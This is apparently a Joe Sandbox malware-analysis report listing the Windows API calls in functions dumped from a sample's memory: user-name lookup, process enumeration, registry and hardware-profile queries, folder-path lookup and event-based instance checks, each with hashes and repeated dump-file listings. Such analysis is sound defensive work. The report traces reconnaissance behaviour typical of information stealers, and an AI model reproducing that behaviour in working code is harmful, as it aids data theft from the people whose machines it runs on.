Part of subcall function 003076E0: GetProcAddress.KERNEL32(76E00000,02F404D0), ref: 003077F3
Part of subcall function 003076E0: GetProcAddress.KERNEL32(76E00000,02F40500), ref: 0030780B
Part of subcall function 003076E0: GetProcAddress.KERNEL32(76E00000,02F40578), ref: 00307823
Part of subcall function 003076E0: GetProcAddress.KERNEL32(76E00000,02F40410), ref: 0030783C
Part of subcall function 003076E0: GetProcAddress.KERNEL32(76E00000,02F3A110), ref: 00307854

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FFAE0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFAEC
Part of subcall function 002FFAE0: RtlAllocateHeap.NTDLL(00000000), ref: 002FFAF3
Part of subcall function 002FFAE0: GetUserNameA.ADVAPI32(00000000,?), ref: 002FFB07

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02F3B2F8,?,00313414,?,00000000,003101E9), ref: 00307672
CloseHandle.KERNEL32(00000000), ref: 00307681
OpenEventA.KERNEL32(001F0003,00000000,00000000), ref: 00307697
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 003076B1
CloseHandle.KERNEL32(00000000), ref: 003076BF
ExitProcess.KERNEL32 ref: 003076C7

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressProc$Eventlstrcpy$CloseHandleHeapOpenProcess$AllocateCreateExitNameUserlstrcatlstrlen
String ID:
API String ID: 2011554057-0
Opcode ID: 78da06d6b3c15353770fceffe6c36811e05dd3915249024c82d0ee1329cf05a2
Instruction ID: b01480e1d5a3b2a30415150ec120fccf19eedf600f73190197d21db62ab44534
Opcode Fuzzy Hash: 78da06d6b3c15353770fceffe6c36811e05dd3915249024c82d0ee1329cf05a2
Instruction Fuzzy Hash: EE213E3192010D7AEB55FBB0DD56FFEB378AF10780F104134F606A22D1EF606A298A65

Function 00309FE0 Relevance: 7.6, APIs: 5, Instructions: 134fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000000,00000030,?,0030B1A9,?,?,?,00000000), ref: 0030A035
CreateFileA.KERNEL32(?,40000000,00000000,00000000,0030B1A9,00000080,00000000,00000000,00000030,?,0030B1A9,?,?,?,00000000), ref: 0030A06F

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: 6994ff328faf46316447ee684204941a1a717e3a3690d9847ab584b72a5c4d8b
Instruction ID: 7c01931178a678d3ab5cf0c720e203bc471502c84125acdf46ed8682b23283b0
Opcode Fuzzy Hash: 6994ff328faf46316447ee684204941a1a717e3a3690d9847ab584b72a5c4d8b
Instruction Fuzzy Hash: 904174B2505B089FE7359F29B8C0B67B7DCE754324F108A2FF199C6580D275D8948B61

Function 00300630 Relevance: 7.6, APIs: 5, Instructions: 82commemoryCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00314770,00000000,00000001,003138C4,?), ref: 0030066D
SysAllocString.OLEAUT32(?), ref: 0030067B
_wtoi64.MSVCRT ref: 003006BA
SysFreeString.OLEAUT32(?), ref: 003006D9
SysFreeString.OLEAUT32(00000000), ref: 003006E0

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateInstance_wtoi64
String ID:
API String ID: 1817501562-0
Opcode ID: 1f1c1f47e09e2ba4bacd17db0a02b293f3032debb3e8841e2ce655a1054812dc
Instruction ID: dffc781b1e1381e9993b8d403b06ef8a05dfcfed52c2d216aebaf34f5d5abb9d
Opcode Fuzzy Hash: 1f1c1f47e09e2ba4bacd17db0a02b293f3032debb3e8841e2ce655a1054812dc
Instruction Fuzzy Hash: 89219EB5A01249AFC705DF98CC91AEEBBB9EB8D310F108169F515EB250C7359941CBA0

Function 00300200 Relevance: 7.6, APIs: 5, Instructions: 61processCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,003101E9), ref: 00300228
Process32First.KERNEL32(00000000,00000128), ref: 00300238
Process32Next.KERNEL32(00000000,00000128), ref: 0030024A

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Process32Next.KERNEL32(00000000,00000128), ref: 0030029E
CloseHandle.KERNEL32(00000000), ref: 003002A9

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process32lstrcpy$Next$CloseCreateFirstHandleSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 562399079-0
Opcode ID: 896834f72294b8427d92ada325640f07dab2b3fd2499974e823d3cb5beae56c8
Instruction ID: 0c71c400073286594bff762f180c5467cba0b5d530ed5d15bd56381d90e2aa80
Opcode Fuzzy Hash: 896834f72294b8427d92ada325640f07dab2b3fd2499974e823d3cb5beae56c8
Instruction Fuzzy Hash: 8A11E7316101186FEB56AB51DC1AFFEB37CAF89B40F000178F605E2190DF745A168FA5

Function 002FFD30 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002FFD45
RtlAllocateHeap.NTDLL(00000000), ref: 002FFD4C
RegOpenKeyExA.KERNEL32(80000002,02F357B8,00000000,00020119,?), ref: 002FFD6B
RegQueryValueExA.KERNEL32(?,02F45660,00000000,00000000,00000000,000000FF), ref: 002FFD86
RegCloseKey.ADVAPI32(?), ref: 002FFD90

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 5e9b28a626cca69679404ca6a21ecc016a0cce4581df0893c3ac91f925504ccc
Instruction ID: c8ffe3fc21020cb50038f271381fe8640ca3f2bce262177da45d610c8d05d773
Opcode Fuzzy Hash: 5e9b28a626cca69679404ca6a21ecc016a0cce4581df0893c3ac91f925504ccc
Instruction Fuzzy Hash: 58F04F75600208BBE720ABA0EC49FBB7B7CEF59755F004158FA05D2240D7706905A7A0

Function 003042A0 Relevance: 4.6, APIs: 3, Instructions: 100sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8,?,?,?,?,?), ref: 00304345
CreateThread.KERNEL32(00000000,00000000,Function_000130F0,?,00000000,00000000), ref: 0030438D
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00304399

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateObjectSingleSleepThreadWait
String ID:
API String ID: 4198075804-0
Opcode ID: 2c7e0674b420fb3953f61cbd32ca7f7e6b9e6607104c25088c55218224568afd
Instruction ID: ad24916b223e0b588bea58e9c92d8b4d68da329afeb0fd84bc621b6c35f2ee2b
Opcode Fuzzy Hash: 2c7e0674b420fb3953f61cbd32ca7f7e6b9e6607104c25088c55218224568afd
Instruction Fuzzy Hash: B5417F7192020C9BDB65EFA0DE66BEDB778AF14780F504138FA02662D1DF706A59CF50

Function 00301090 Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 003010A5
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 003010C0
CloseHandle.KERNEL32(00000000), ref: 003010C7

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 045ab6a78770c212c1fe920a2e53bc84087bbde2528870cf1924c7d05e92126d
Instruction ID: 573189dd2e1576da2bddfac8f49e58ef6d1ebc5a1328cb08137045cb595115cc
Opcode Fuzzy Hash: 045ab6a78770c212c1fe920a2e53bc84087bbde2528870cf1924c7d05e92126d
Instruction Fuzzy Hash: B1F065726016286BE631AB589C49FEE776CDF15B50F004150FF08A7290DBB06D898BD5

Function 003003E0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 003003EB

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Strings

Unknown, xrefs: 0030040A

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CurrentProfilelstrcpy
String ID: Unknown
API String ID: 2831436455-1654365787
Opcode ID: e0d5e82633c5be133f010b34fcbd1432039f0adadc28471378ea8e8ec240f52a
Instruction ID: 6514ee30aff477cdb0eb3ec2dfe7362fe71735645ab0572e0151b25addab8573
Opcode Fuzzy Hash: e0d5e82633c5be133f010b34fcbd1432039f0adadc28471378ea8e8ec240f52a
Instruction Fuzzy Hash: A5E08622F1412C535E15BBA87D018EEB76CCB4CB91B00426AFE09D3341DA6199218BD5

Function 00300D50 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00300D81

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
